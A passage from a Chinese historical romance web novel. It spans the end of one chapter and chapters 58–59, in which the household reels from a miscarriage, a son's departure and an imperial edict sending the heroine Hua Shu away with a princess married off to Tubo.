惊惧过后,更多的是感动和心疼。她轻轻握住霍霆的手,悄声安抚:“日后再清算不迟,今日就别让祖母……让母亲伤心了。” 她声量极轻,仅两人能听见。 堂屋内其他人,只能瞧见她仰头附耳低语了句,霍霆周身如潮水般的冷冽威压,忽然就奇迹地退散了。 他眉宇间还染上几分暖色。甚至像血气方刚的少年般,回握住心爱之人的手,十指相扣。 大伙面面相觑。 老夫人头痛欲裂,瞪着一个个的不孝子孙,“你们到底还瞒了我多少事?!” 她是不指望霍霆能说句实话了,点名三老爷,“老三,你来说。” 三老爷无奈:“母亲,我没去秋猎啊。” 老夫人更窝火了。 霍霆提声:“长缨。” 长缨令行禁止,随即将候在门外的一个丫鬟提上堂来。 三夫人诧异:“翠芝,你不是给阮糖殉葬了吗?” 华姝也是意外,这不是阮糖身边的丫鬟么? 霍霆早已料到会有这么一日,为着家庭和睦,也为了给华姝正名,遂将阮糖这丫鬟留了活口。今晚事发后,即命人去将她速速带入府中,等候传唤。 相比于让她殉葬的勇毅侯府人,翠芝更感恩留她一命的镇南王。 她朝霍霆和老夫人各磕了头,事无巨细地道出阮糖这些时日的所作所为,“三夫人,小姐她在皇龙寺就知晓了内情,但勒令奴婢不准与您说。” 三夫人不肯信:“你撒谎!” “奴婢不敢。”翠芝嗫嚅:“小姐后来帮您向表姑娘讨的莲雾养颜膏,也是为了核实证据,好在秋猎时当着外人的面,揭发王爷与表姑娘的事。” 霍千羽叹气:“还是在御前提的。” “我也在场。”霍华羽实事求是:“当时我们都吓得半死,独她贸然开口,我还以为她那时就起了爬龙床的心思。” 三夫人错愕地张了张嘴。 “你们在说什么?” 霍玄生涩恍惚的声音,从门口传来。 饶是他苦读十载考中状元,此时此刻,也难以消化翠芝的话。 什么叫“揭发四叔与表妹的事”? 大夫人随后匆匆赶来。她千防万防,终是一不留神,没能拦住这个痴心的傻儿子,卷入这场风波。 扫过母亲脸上复杂却不意外的神情,霍玄迟缓地一寸寸转过头,久久凝望着霍霆与华姝攥在一起的手。 他眼前闪过祠堂前,华姝笑说日后潜心开设医馆时神采飞扬的画面。 他眼前闪过,四叔几次提醒他要专心仕途的画面…… 素来温润的眼尾,染上破碎的腥红。 霍玄双手颤抖地踏上台阶,想求一个真相。 可他眼前又闪过四叔指点他科举的画面,扫过祖母苍苍白发,扫过表妹低垂的眉眼……霍玄双手紧攥,指甲嵌入掌心,用最后一丝理智抑制住了脚步。 众人看在眼里。 老夫人看在眼里。 大夫人看在眼里。 华姝也看在眼里,她不自觉蜷动指尖,下一瞬就被霍霆牢牢攥紧。 突然这时,“知音!” 三老爷语气仓惶,吸引了所有人的注意力。 只见三夫人踉跄两步,跌坐下来。身下的深蓝软垫和浅色襦裙,都被鲜红血流浸染大片。她声音颤抖:“孩子,我的孩子……” 整个堂屋霎时躁动起来。 老夫人:“快把她抬到床上去,快!” 一群丫鬟婆子齐刷刷聚拢过去,七手八脚地抬起三夫人慢慢往里间移动。 三老爷接连高呼:“快去请大夫!多请几个,回头我重重有赏!” 候在门外的小厮连忙撒丫子往外跑。 大夫人从门外抢进屋来,“姝儿在这呢,先让姝儿给瞧瞧,最起码把血给止住。” “对对对,姝儿,”三老爷急中生乱,一把拽过华姝手臂就往里间奔,“快帮你三婶娘瞧瞧,就算三叔求你了。” 霍霆皱了皱眉,去看华姝的反应。 华姝医者仁心,凡事都以病患为大。她暂时摒弃前嫌,招呼桂嬷嬷带人赶紧去烧热水,自己赶到床边诊脉。 哪知,三夫人一瞧见她就情绪失控,愤恨斥道:“我不要她治!让她走,谁知她安得什么心呐……” 任凭旁人连番劝说,也无济于事。 华姝滞在床尾,一时尴尬又焦急。 “姝儿,过来。” 霍霆避嫌在门外,眉峰蹙得更紧。 他怜惜地将姑娘招呼到身边,揉了揉她头,低低安抚:“生死有命,你已经尽力了。” 华姝轻叹:“澜舟,还是请御医来给她瞧瞧吧。”三老爷婚后盼了许久才盼来这个孩子,“免得日后祖母……母亲夹在中间为难。” 她称谓切换得笨拙,霍霆怜惜的目光染上复杂,“你也别为难。”他转身摘下腰牌,递给长缨,“去太医院。” 长缨即刻领命远去。 霍霆仁至义尽,扫了眼混乱的周遭,准备先带着华姝离开这处是非之地。 怎料,老夫人扶着桂嬷嬷追了出来,严肃道:“姝儿留下。” 华姝听话停脚,怯声:“祖母……” 霍霆脸色微变,上前一步挡住她,“母亲这里正是繁忙,我们改日再来,随叫随到。” “你去给我跪祠堂!” 老夫人加重语气,比对华姝还凶狠。 霍霆无所谓受罚与否,只忧切看向华姝。她最怕后宅的闲言碎语,他不想她再一个人孤零零留这承受众人的责问。 当着老夫人的面,华姝不敢再与他眉目传情。她垂头不语,只悄俏碰了下他指尖,示意自己没事。 霍霆还是不放心,“此事皆因我而起,责任皆由我来担,母亲凡事冲我来。” 老夫人更是气不打一处来,“位高权重了,我的话不管用了?”她指着祠堂方向,极力压制怒火:“若是还觉得自己有理,就同你父亲说去!” 母子俩对峙半晌,气氛越来越紧张。 华姝不忍他们母子争执生分,又从后面拽了拽霍霆衣袖。 他沉默一瞬,才抬脚往外走。路过苓霄时,无声递去一个威严积重的眼神,才独身踏入夜色。 院落内外,灯影晃晃重重,仆从们进进出出。沿路请安声,霍霆恍然未觉。有人不小心撞到他,也恍然未觉。 有好几次,他都想折身而反。可瞧着忙得脚不沾地的仆从们,也深知这会不是谈话的好时机。 霍氏祠堂,一向有老仆看守。 霍霆进门后,随手示意老仆退下。他款步走到一排排木牌位前,挑了左侧深色蒲团,撩袍矮身。 他不跪霍氏先祖,只跪霍老太爷一人 早就过了喋喋不休的年纪,霍霆背脊直挺,静默未语。但眼前浮现很多过往点滴…… 他来到霍家后,与大哥年岁相差太多,二哥为人呆板,最能玩到一起的是大大咧咧三哥。后来有幸拜入冯老太师的门下,结识了才华横溢的华不为兄长。 祠堂的位置偏僻幽静,但府中的噪杂声仍是不绝于耳。 今夜霍家上下,恐是无一人安枕。 果然,天亮前苓霄来报—— 三夫人因救治不及时,小产了,是个已成型未足月的男婴。老太医断言,三夫人受损得厉害,恐是日后再难有孕。 霍霆脑中嗡然一片,像是突遭敌军陷阱般,头皮阵阵刺痛发麻。 他眉峰蹙动:“她呢?” 问的自然是指华姝。苓霄如实作答:“您走后,表姑娘被老夫人关进佛堂。桂嬷嬷守在门口,不准属下靠近……” 话音未落,霍霆豁然起身。 苓霄眼见着,他周身萦绕起一种沉郁的、近乎实质化的低气压,仿佛暴风雨来临前的闷雷,似深潭无波的冷冽,似古松傲雪的孤峭。 这是霍霆阵前杀敌才会散发的骇人气场。 他双手攥拳,青筋脉络□□。 他声线却沙哑在抖:“责打她了么?” 第58章 劝阻 霍府偌大的空荡的园子, 霍玄抹黑夜路,绕过堤岸,穿过湖心亭,走走停停, 大脑被猎猎寒风吹得刺骨麻木。 回到白鹭院时, 父亲霍雲正等在他房中, 递过来户部上任的一纸文书,“明日就去衙署报道吧, 早些忙起来也就没空多想了。” 霍玄凄凉瞧着,没接。 户部从六品官职,是连京中世家公子都颇为垂涎的肥差。没有四叔打点铺路,怎么都轮不到他。 可他科考受四叔提点,做官又受四叔提携,难道这辈子都要靠四叔么? 那在四叔面前,在他喜欢的姑娘面前,他又何时能抬得起头? 霍雲看穿他心中所想,“好男儿志在四方, 合该在官场大展拳脚。少时的风流韵事, 待人到中年, 都不过是付之一笑。” 霍玄饱读诗书,这些道理他都懂, 可淤堵在心中的钝痛, 根深入骨。 可为何, 偏是他最敬仰的四叔…… 父子俩沉默相对间, 大夫人筋疲力尽走进来,带来三夫人小产的消息:“差点一尸两命,人还昏着, 醒来后还指不定会如何?他三叔也跟着没了半条命。” “这个家,怕是要散呐。”大夫人瞧着霍玄失魂落魄的样子,怅然叹息:“儿啊,母亲不要求你什么,只求你能平平安安的。” 霍玄眼睫微动。 霍雲拍了拍他,将屋子留给母子谈心,“我去瞧瞧三弟。” 霍霆走后,大夫人心疼地抚了抚儿子脸庞,“母亲知道你难过,可人这辈子都在磕磕绊绊地活,只能自己劝自己看开些。” 在母亲温柔的安慰中,霍玄喉头艰涩:“她明明说过不想嫁人了,要去开医馆的。” 一人经商,一人为官,各自实现理想抱负,她明明都跟他约定好了。 “叔侄生情这等有悖……这等不寻常的事,里头指不定怎么弯弯绕绕说不清呢,且由你祖母盯着去吧。”大夫人语重心长:“姝儿既是早早与你摘清干系,咱就别去蹚这浑水了,好么?” 她声音里掩饰不住地憔悴。 说到底,是他们当父母的无能,连到霍霆面前争个是非因果的资格都没有。三夫人的下场就是最好例子。 更何况,霍霆对他们面子里子都已给足。都说官大一级压死人,霍玄一入仕就能官居六品,还是炙手可热的户部,多少人求都求不来。 到了他们这等年纪,在儿女情长、官身仕途之间取舍,根本都不消去犹豫。 “母亲去歇着吧,我想自己静静。”霍玄喃喃低语。 “好好好,母亲不逼你,有事随时让人来叫我。” 霍玄没再应声,默默转进里间寝房。 没有让人点灯,在床边枯坐许久。 东方第一缕光亮射入窗内,轮椅轱辘碾压地板的细碎声,由远及近。 “她还好么?”霍玄哑声问。 “被祖母关进佛堂了。”霍千羽:“我进去想替你问问,但被桂嬷嬷给劝出来了。” “不用问了,”母亲说的对,“表妹早就与我说清了,是我一直纠缠不休。”虽是这般说,可霍玄双手揪紧膝头的衣摆,昭示着他不甘放弃的心思。 “姐,”他眼神迷茫,“你们女儿家看亲事,对方的门第官身是不是很重要?” “姝儿不是那种人。”霍千羽拧眉思忖,“抛开辈分……四叔那般顶天立地的沙场英雄,没有几个姑娘不会崇敬向往。何况,四叔对她还诸多照拂。” 她近来想了很多,其实这事有迹可循。四叔对姝儿的偏爱,一直超过她和华羽。原以为是华世叔的缘故,竟没想到…… 霍玄再度陷入沉默。 眼前浮现霍霆为了华姝不惜违抗老夫人的一幕。他扪心自问,自己敢吗,有那份血性和底气吗? “我虽未来得及与姝儿深谈,但她托我给你带句话。”霍千羽疑惑地转述道:“她说,一直都是ta?” “一直都是……他……” 电光火石间,华姝在祠堂门前展示从山中学会射银针的画面,从霍霆脑海一闪而过,他惊愣住。 房中再度陷入沉寂,冗长的沉寂。 霍千羽试探:“你知道她是何意?” 霍玄闭上双眼,缓缓呼出一口气。 “替我祝她幸福。” * 东厢房佛堂,烛火幽幽,华姝一跪就是一夜。 外面乱哄哄的小院,脚步声起起落落,直到天明才有片刻沉寂,便随着三叔的苦苦请求,和老太医的无力叹息。 听细碎的对话,老院判看在霍霆的面上,亲自连夜走了这一趟。连老院判都如此……胎儿情况恐是不妙。 华姝双掌相合,面对佛祖,虔诚默念起祈福长寿的《续命经》。 她也没料到会陷入此等局面,越想事事周全越是事事难全,心绪愈发乱糟糟的。 唯一的慰藉,是佛堂弥漫着檀香,与霍霆身上素日的熏香相近。闭上眼时,会觉得他一直在陪伴自己。 她不是一个人在坚持。 “吱呀——” 房门被推开,霍老夫人扶着桂嬷嬷走进来。一夜未睡,老人家褶皱的眼尾布满红血丝,还似有抹红肿的湿意。 华姝揪心更甚,“让您跟着受累了。” 老夫人深深打量良久,示意华姝起来说话,“你是我亲手带大的,一向最为懂事。怎么就……” 她深吸一口气,极力压制着怒意,眉心间的褶皱沟壑反而更深更密,“可是他逼迫你的?你有任何委屈尽管说出来,祖母给你做主。” “是我主动的。”华姝脱口道。 怒气四泄,老夫人克制不住地重重拍响明黄色香案,“他是你叔父啊!你们怎么能乱……” 她应是想说“□□”吧,但话到嘴边又硬生生滞住。 她虚弱地依靠住桂嬷嬷,胸脯起伏不定很久,才强打起精神面对:“何时开始的,从别院回来退婚那次?” 华姝:“走失在山里那次。” “……何时?” 老夫人瞳孔睁大,难以置信地回看桂嬷嬷。后者亦是神色恍惚一瞬,错愕不矣。 “那晚大雨坠崖,萧将军偶然救下我。彼时王爷腿伤极重,濒死一线。我设法救回他,作为交换,他们连夜冒雨搜救到表姐。”华姝缓声回忆完那段经历。 她强调:“那会我们不认识彼此。” 她想借此告诉老夫人,他们没有旁人想象中的那般不堪,他们业已痛苦挣扎了数月,他们的结合也有冥冥之中命运的使然。 老夫人和桂嬷嬷听完,脸色皆是五味杂陈。 佛堂一片死寂。很显然,其中的内情让她们始料未及。可就算再有理有据,辈分在那里摆着,这段关系仍是罪不可恕。 老夫人扶着桂嬷嬷的手在抖,起初仅是微微抽动,后来将衣料攥作一团,神色恢复严肃:“那也不行。” 华姝抬起眼。 “我会托人给你尽快安排婚事,府上下人的嘴也会堵严实。”老夫人道:“以后这事就权当没发生过。” 华姝红了眼,“我不嫁。” “不嫁也得嫁!”老夫人震惊于她的顶撞,窝在心口已久的火气,终于低吼出来。 吼完她便后悔了,颤巍巍转身往门口走,声音也在颤:“你不嫁就让他回南边封地,总之再不能来往。” 晨曦自门外射来,浓烈的光芒,直直刺得华姝眼睛酸痛。 她恍惚忆起,山洞那日清晨与霍霆依偎取暖,两人一阴一阳的征兆,仿佛在此刻显现。 “祖母!” 华姝后怕地疾步追上去,“您不是说,不舍得我外嫁受婆母苛待么?我名声已毁,旁的夫家又怎会珍重?到时候深宅大院,我一个人要怎么活呢?” “那你又可曾想过?”老夫人愤然转回身,“但凡澜舟日后断了心思,休妻纳妾皆是便宜。你呢,一个人面对所有的流言蜚语,到时候又要怎么活?” 华姝:“我明白的。” “你不明白。” 老夫人苦口婆心:“你了解澜舟的过去吗?知道他这些年在外都经历过什么吗?但他能一眼看透你,哄几句你爱听的话罢了。等新鲜劲一过,与旁的夫婿过日子也无甚两样,你还要徒背一身骂名。” 华姝当然知道,正是知道他这些年为华家的默默付出,才更坚定了同他站在一起的决心。 可如今还不是公开此事的时候。 华姝略作思忖,跪下来,言辞恳切:“姝儿是您教出来的,这些道理我都明白。世间能懂我的人很多,可又有几人会愿意舍命救我?” 她哽咽讲述完山崖那夜的惊险,“他人都快烧糊涂了,还不忘给我安排好后路。若非是他,姝儿已没命回来见您。” 她艰涩动了动喉头:“即便以后真有那么一日,我也认了。” “你糊涂啊——” 老夫人痛心疾首指着她,气得几乎喘不过气起来,连胸前的玉项坠都在跟着抖。平复许久后,才长长叹一口气:“我最后再问一句,你可知澜舟的生身父母姓甚名谁?” 华姝脸色微变,无端想起别院那座阴森森的黑塔,“……很重要吗?” 这一刻,明明她整个人笼罩在晨光里,却莫名发慌发冷。 * 得知华姝被关进佛堂后,未经老夫人允许,霍霆从祠堂出来直奔千竹堂。 佛堂门外上了锁,另有五大三粗婆子拦在门口,霍霆没办法进去。 他眉峰团蹙,周身的威压让拦着的婆子望而生畏。他沉眼款步逼近,隔着门,想先确认华姝是否安好。 却被桂嬷嬷拦下,一路走进主屋。 霍霆本以为母子俩能好生谈谈,却又听得,老夫人一夜未阖眼,才勉强用了小半碗安神汤,刚刚歇下。 桂嬷嬷没这么大胆量敢戏耍他,霍霆明白这是老夫人的意思。在获悉华姝没受责打后,他沉住气放低姿态,暂时等候在堂屋。 起初,只当是寻常闭门羹的惩戒。 直到昏睡在里间的三夫人,醒了。 天寒地冻,女人小产后体虚不易见风,何况还大出血过,老夫人便让出自己的寝屋供她继续休养。又或还怀着其他用意。 在一声女人崩溃的尖叫后,低低的呜咽,爆发的泣诉,间或交织地传进堂屋。不时伴有音调诡异的咯咯发笑,“宝贝乖乖,母亲这就给你喂奶。” 胎儿已经没了,这温柔话音宛如一块猛然砸进湖中的巨石,才安静片刻的清晨,又陷入新一轮的噪杂恐慌,气氛压抑非常。 三老爷在屋里轻哄了很久,才换得三夫人一丝清醒,和她又哭又笑的痛骂,痛骂霍霆冷血无情,痛骂三老爷懦弱无能,没胆量为孩子手刃真凶。 三老爷心力交瘁,实在受不了,借口寻大夫躲了出来。 他浑身弥漫着浓重的血腥气息,撞见霍霆的刹那,通红的双眼怔了片刻,然后麻木无神地别开,漠然出门。 霍霆一动未动,稳如泰山。 老夫人打错了主意,他这些年四处征战,手下亡魂无数。若是心肠软的,早已是马革裹尸,成了关外一抔黄土。 昨晚整件事,他尊重华姝劝说,一再给三夫人留有余地,是对方作茧自缚。错不在他们,否则三老爷又如何怎会这般反应平静? 但屋漏偏逢连夜雨,长缨匆匆来报,霍玄不见了。 起初,大老爷还抱着他去户部任职的侥幸,怎知他去户部递交了辞呈。霍玄尚未正式入职户部,还不算正式官员,简单递交辞呈,就算恢复了布衣白身。 大夫人如遭雷击,当场就昏厥过去。大老爷派小厮四处寻人,城中却无半点踪迹。后来,门房收到小乞丐送来的一封信,信上言明,他离京去往边关从军。 大老爷一边派人快马加鞭出城去寻,一边不得以来请霍霆出面,去截回那封辞呈,保留住霍玄的户部官职。 苦读数载挣得的功名不易,霍家下一代的家族传承也事关重大。霍霆抬手拢了拢发紧的眉心,终究还是亲自往户部走一趟。 晌午回府,霍玄仍音信全无。这宛如压死骆驼的最后一根稻草,老夫人年迈身子再也支撑不住,垮掉了。 天气阴沉,整个霍府都笼罩上阴霾。 霍霆再走进千竹堂时,佛堂已人去屋空。主屋两侧的屋内,弥散出来的药味一处比一处浓郁。 他轻声走进西间的茶室,下意识环顾一圈,四处空荡荡的,只有老夫人脸色苍白地躺在窗前的罗汉床上,头上敷着帕子,闭眼不语。 霍霆靠坐在床头,勉强歇了下发沉的脚步。沉默的窒闷缓缓蔓延,填满了屋子的每个角落。 一段冗长平静后,老夫人无力睁眼,积压多时的怒意在胸腔翻涌,可扫过霍霆眼下大片黑青,无尽火气化作一声长长喟叹:“事到如今,你还要坚持吗?” 霍霆垂着眼,目光盯着某处虚空似在出神,又或以沉默作为无声回应。 “姝儿年纪浅不懂事,可你身为长辈怎么也犯糊涂?”老夫语气痛惜,伴着颓惫的闷咳:“我活了大半辈子,怎么都想不通,你究竟怎么想的?” 霍霆给她倒杯温茶,等她顺过气,才缓缓开口:“那母亲又是怎么想的?弱者无辜,能者多劳?” 因为嫂子痛失孩子,因为侄子痛失爱人,因为母亲痛失爱孙,而他还强顶压力好好坐在这里,所以他就该牺牲自己感受和婚姻,来换回这个家的和谐安宁? 天底下没有这样的道理。 且不论他们受伤是源自个人欲念,并非他和姝儿的直接过失。即便他们有错,使得家宅不宁,可他俩也曾诸多爱护过这个家,一次过失就要被抹杀所有? 霍霆素来沉稳持重的脸上,罕见失落黯淡:“母亲,儿子只身在外冷屋冷灶十年。您希望我继续这样过一辈子,来成全这个家的温暖?” 老夫人愣了下,像是一时寻不到合适的话反驳,又像是在反思自己。 好一会,她褶皱眼皮微垂,“你说的对,整件事的责任不该都归结于你,你也不必太顾全旁人感受。但姝儿不一样,经此一闹,她彻底没有娘家撑腰了。” 霍霆:“您放心,我会照顾好她。” “这么大的荒唐事,在我眼皮子下都敢瞒这么久,让我日后如何信你?”老夫人道:“姝儿倒是信你,结果连你们老秦家的半点过往都不知,她这是拿自己后半生在赌。” 这回,换霍霆愣住一瞬:“母亲怎么会突然提起那些旧事?” “……还不是担心那傻丫头被你稀里糊涂哄了去。”老夫人情绪牵动心肺,掩唇轻咳几声:“我累了,你先去忙罢。若是寻到玄儿,及时来同我讲。” “儿子记下了。”霍霆心里惦记着华姝,顺势起身离开。 不久,桂嬷嬷进来换汤婆子,见老夫人神情落寞,低声劝道:“王爷近而立之年依旧洁身自好,之前在山里也顾全了表姑娘清誉,想来同他生父不一样。” 当年,老镇南侯临终托孤,为爱女招赘一手养大的徒弟为婿,也将秦家的军权一并交托到徒弟手上。 小夫妻俩婚后琴瑟和鸣,很快育有一子,取名秦澜舟,也就是如今的霍霆。 天不遂人愿,在霍霆四岁时,生父战亡,连带着折损近六万的秦家军。最关键的,是因为中了敌军的美人计。生母很快郁郁而亡。 先帝龙颜大怒,查抄其生父九族,念在老南镇候的赫赫功勋上,留下霍霆这唯一血脉,后钦点霍老太爷来抚养。 霍老太爷与霍霆生父曾共事多年,总觉得对方不是贪恋美色之人,却苦于没有任何边关证据。加上霍霆彼时年幼,这事也就搁置下来了。 “阿桂,你说澜舟真都全放下了?” 老夫人重新疲惫阖上眼,也压低声音:“倘若有朝一日秦家旧事真查出变故,超出他能力范围,姝儿什么忙都帮衬不上,两人还能一如既往吗?” * 华姝从佛堂出来时,恰是赶上三夫人又在咯咯发笑。老夫人没像对霍霆那般,特特叫她去看。 可华姝素来心软,还是决定过去瞧瞧能不能帮衬一二,被三夫人贴身婢女恶语相向地拦在门外。 交涉间,她声音传入屋内。原本温柔哼唱摇篮曲的三夫人,霎时崩溃大叫,超着门口方向一个劲作揖、磕头:“求求你,求求你别杀我,别杀我……” 历经一夜的折腾,三夫人蓬头垢面,面容枯槁,身下甚至还有恶露在淌。那小垫子上鲜红的血色,刺得华姝双眼干涩。 为免三夫人持续发病,华姝疾步退了出来,彷徨于寒风里。 她暗示自己要狠下心肠,是三夫人有错在先,自食恶果。可一想到,那孩子也是祖母孙子,想到幼时自己在三叔肩膀上骑大马,她心口仍会一抽一抽地疼。 途径白鹭院时,华姝踟蹰着要不要进去同霍玄再谈谈。 于理,她与表兄明确说开后就再无瓜葛。可于情,她与霍霆的事难免会折了大房的脸面,大伯母又一惯对她最为亲厚。 最后也被拦在了门外。 算起来,这些年还是头一回。 这里的丫鬟倒没有恶语相向,但也没了从前的笑脸相迎。只道大夫人今日身子不适,闭门谢客。 “那我改日再来探望。”华姝知趣地转身离开,却没料到走出没多远,白鹭院大门再开,二夫人带着丫鬟明晃晃走了出来。 华姝习惯性屈身见礼,二夫人讽刺地转身避开,“别,您可是未来的镇南王妃,这等大礼我属实受不起。” 二夫人一向嘴巴不饶人,华姝没有跟她争论,注意力更多集中在那两扇紧闭的门扉上。大夫人是个颇为纯善、体面的人,事情摊到这份上,可见真恼了她。 但千羽表姐昨夜从佛堂离开时,态度明明还不算太遭,怎么会?华姝百思不解地看向苓霄。 苓霄自知瞒不住,“大少爷离家出走了。” 华姝只觉大脑嗡得一声,僵立在原地,半晌才缓过神来。难怪了,她不杀伯仁,伯仁却因她而殇。 苓霄:“姑娘放心吧,王爷已加派人手去寻了,想必很快就能有消息。” 华姝点点头,浑浑噩噩继续往祠堂去寻霍霆。想问问他,老夫人最后的问话是何意。更多是心慌意乱,下意识想寻求一些慰藉。 获悉霍霆不在府上,无奈改道回了月桂居,躺在塌上呆呆望着屋顶。耳边还在回想着那句:“你可知澜舟的生身父母姓甚名谁?” 一会觉得,她好像真的不够了解霍霆。 一会觉得,他只是没来得及告诉她而矣,毕竟那座黑塔她可以来去自如。 一会眼前闪过祖母的痛心,三婶娘的疯癫,二伯母的嘲讽,大伯母那扇头一次向她紧闭的门。 一会眼前闪过那山洞寒雪,霍霆为救她而高热碳红的脸庞。 心里自我安慰,只是折腾一夜太累了,睡一觉,总能想到应对之法。 可眼神,几次不自觉瞟向那个藏着假户籍和路引的带锁箱笼。 半夏不放心她,时不时进来瞧瞧,往香炉里添了一次又一次的安神香。 就这般,终于混混沌沌睡着。 中途,霍霆应是来看过她。床边飘起淡淡的檀香气息,熟悉的温热怀抱,耳畔传来湿湿痒痒的热气:“别怕,家里的事我都会处理好的。” 华姝习惯性依偎过去,乍起乍落的惊梦和心跳,终于有了归处。 再醒来时,日落黄昏。 屋里已没了霍霆身影,是半夏将她唤醒的,“姑娘,宫里来旨了。” 睡眠补足后,华姝整个人的精气神要好上许久,大脑轻盈清醒。 一扫到半夏脸上忧色,她转瞬意识到什么:“这圣旨,莫非与我有关?” 第59章 离别 宫里来圣旨的消息, 不胫而走。 本就一团乱麻的霍府,愈加人心惶惶。众人依礼应召,前往议事厅前的空地准备接旨。 路上纷纷揣测,圣上指名道姓给华姝颁圣, 莫非秋猎时存在的那点心思还未断, 要迎她入宫封妃? 霍华羽觉得这样挺好, 走了华姝这个大麻烦,霍府又能恢复往昔祥和了。 二夫人骂她没脑子, 若真是如此,霍霆怎会善罢甘休?只怕霍府会更乱了,保准整个燕京城都得变天呐! 三夫人重病没来,大夫人搀扶着老夫人,面上掩饰不住地颓废、麻木。 眼见华姝跟在霍霆身侧款款而来,饶是保持着男女礼数,但人群中一个两个止不住地皱眉、叹气,气氛浓重一片。 人群让出路来,华姝尽量不去触及旁人的异样目光, 随霍霆跪在了最前排。 她神色肃然, 严阵以待。 来的路上, 她与霍霆也谈过这圣旨的用意,霍霆亦是预感不妙。不过他一如既地往稳如泰山:“别慌, 兵来将挡水来土掩, 凡事皆有我顶在前头。” 寒风凛冽, 来宣旨的太监不敢像裴夙那般造次, 按部就班地展开圣旨,提声诵读: “奉天承运,皇帝诏曰。朕闻华氏后人华姝深得祖上真传, 医术精湛,颇堪大用。今特任你为正七品医女,三日后随福佳公主和亲吐蕃,凡事皆已公主凤体为先,不可有半分差池。钦此!” 此话一出,无疑打了霍府上下一个措手不及。 不是入宫,而是随公主和亲? 且三日后就要启程? 这无疑是只留给华姝一点收拾行囊的时间,根本来不及做别的。即便霍霆再有通天本领,短短三日想谋略布局,让昭文帝主动收回圣旨,那将谈何容易? 直到太监出声提醒,众人方如梦初醒,接旨叩谢隆恩。 送走太监后,所有人下意识去观望霍霆的反应,却见他神色如常,墨眸古井无波,比昭文帝这道圣旨更难揣摩心思。 “天冷风寒,都散了吧。” 霍霆淡声吩咐完,递给华姝一个安抚眼神,带着长缨先一步出了府门。让原本想上前规劝他的老夫人和三位老爷,皆是望而止步。 搁作往常,众人势必会围到华姝身旁好生安抚,一齐想法子。但今日,几位长辈只对她无奈摇摇头,各自步履疲惫地转身回房。 徒留华姝握着圣旨,孤零零站在原地,寒风塞满鼓起的衣襟。 苓霄安慰她:“姑娘安心,王爷定是去想法子了。” 华姝明白,霍霆心知的忧急不比她少半分,能用的法子他必会毫不保留。 昭文帝选在此时下旨,可不就是在防备这点?短短三日,霍霆能用何法破局?其手段太过刚强,又或太过退让,到最后都会令他陷入无比被动境地。 华姝忧心忡忡回到月桂居,在院中来回踱着步子,一边思量对策,一边留意对面清枫斋的动静。 天色越来越沉,她心也越来越沉。 直到宵禁时分,霍霆还未归来。 华姝叫来苓霄,遣她去给霍霆带句话:“华姝愿意隐姓埋名。” 苓霄不解但照做。 半夏也一知半解:“姑娘是想与王爷私奔?那华府……可就彻底没人了。” 华姝望着头顶的乌月,喟叹:“可这是我能想到损失太小的法子了。” 新任吐蕃王与霍霆交好,等抵达吐蕃后她就假死脱身,绕路前往霍霆的南边封地,从此再不回京城,再不回霍府……给众人添堵。 霍霆一听传话,便知华姝心意。 他将事由简明扼要地交代下去后,深夜辗转回到府中,潜进月桂居寝屋,华姝还在等他。 “此为下策。”霍霆站在火盆前散去寒气,才到床头拥着华姝坐下,“倘若未抵达吐蕃,福佳公主就先行对你不利,你一介医女如何是她对手?” “那何为上策?”华姝仰头问。他即是如此说,想必心里已有了更完全之策。 果然,“解铃还须系铃人。” “解铃还须系铃人……”华姝认真想了想,“你的意思是,让福佳公主自己主动放弃?” 霍霆但笑不语地垂眼瞧她,有意卖关子。 华姝抿了抿唇,他不说她就自己想。 “福佳公主的背后是帝后。相较而言,皇后那边更好着手。而她倚仗的娘家势力乃徐阁老。”华姝顿了顿,眸光微亮:“你是想从徐阁老身上做文章?” 霍霆颔首:“知我心者,莫过于姝儿也。” 华姝嗔他一眼,合着在这等着她呢。 “我已命暗探去全力稽查徐阁老的把柄,最迟后日一早就会有消息,你安心等消息便是。”他抬手用骨节蹭了蹭她脸颊,眸光怜惜:“为和我在一起却要委屈你改名换姓,我霍霆还算什么男人?” 华姝微笑摇头,“我不觉委屈。” 届时她从明处转到暗处,没准能更好破获华府的灭门惨案,也不枉为华氏子孙一场。至于行医救人,又何须贪图虚名? “会实现的,你想要的都会实现的。”霍霆郑重承诺道。 华姝点头说好,怀揣着对未来无限期待,与他相拥而眠。历经一夜一日的折腾,淤堵心头的愁思总算消减了几分。 可天不如人意,次日一早,长缨收到密信匆匆来报:“王爷,濯缨他们入狱了。” 彼时霍霆正陪着华姝用早膳,她在旁边听了几耳朵。 宋礼别贬回到岭南老家后,原本一切正常,却在五日前突然遭遇不测。等濯缨等人破门而入时,为时已晚,且被赶去的当地捕快堵个正着,当场人赃并获。 华姝皱眉,这明显是遭人暗算了。 “可有性命之忧?”霍霆问。 长缨:“信上没提伤亡,想必还有转圜余地。” 霍霆没再多说什么,等华姝放下碗筷后,他便带着长缨起身出了门。这一去又是直到天黑也不见踪影。 华姝听从他临走前的叮嘱,猫在院中看看医书,没再去其他几房找不自在。等将福佳公主的事彻底解决后,由霍霆出面与各房再正式商榷。 她将父亲那三本医书拿出来,仔细掸去浮沉,又一页页翻看。 翻看间,繁杂的思绪不知何时飘远,忽然就想一桩幼年旧事,她与父亲似乎玩过一种猜字谜的游戏。 规则是,将每个字的第一笔划与最后一笔调换,第二笔划与倒数第二笔调换,以此类推,把字体改得面目全非后,在光凭眼睛观察下,猜出字体原意。 电光火石间,华姝灵感乍现,将前天晚上那两个晦涩的字重新描绘下来,观摩,拆解。 答案跃然纸上—— 凉城。 父亲留下的线索,是甘肃府的凉城。 这会是何意? 不论如何,都算上重大发现。华姝不作耽搁,当即起身叫来苓霄,“你即刻去禀告王爷,就说……” 突然这时,院门被从外面“砰砰”拍响。 白术一打开门,大夫人就不顾形象地踉跄冲进来,抓着华姝的手臂,哽咽哀求道:“姝儿,大伯母求求你了,求你们救救玄儿吧,救救他吧。” “表兄怎么了?”华姝看向后面跟上来的霍千羽。 “玄儿被人绑架了,绑匪留信,点明不准四叔再轻举妄动。”霍千羽语气亦是哀愁:“姝儿,你可知这是为何?” 华姝心脏骤然一沉,应该是徐阁老。 霍霆定是已经拿到了他把柄,对方抓住孤身在外的霍玄,从而反将一军。 “姝儿,你知道缘由对不对?” “你有法子救他对不对?” 大夫人抓得更紧了,抓着华姝手臂火辣辣地疼,但她整个人沉浸在巨大的悲恸之中:“你看在这些年我们照顾你的份上,能不能让澜舟救他一命哟。大伯母求你了,大伯母、大伯母给你跪下……” 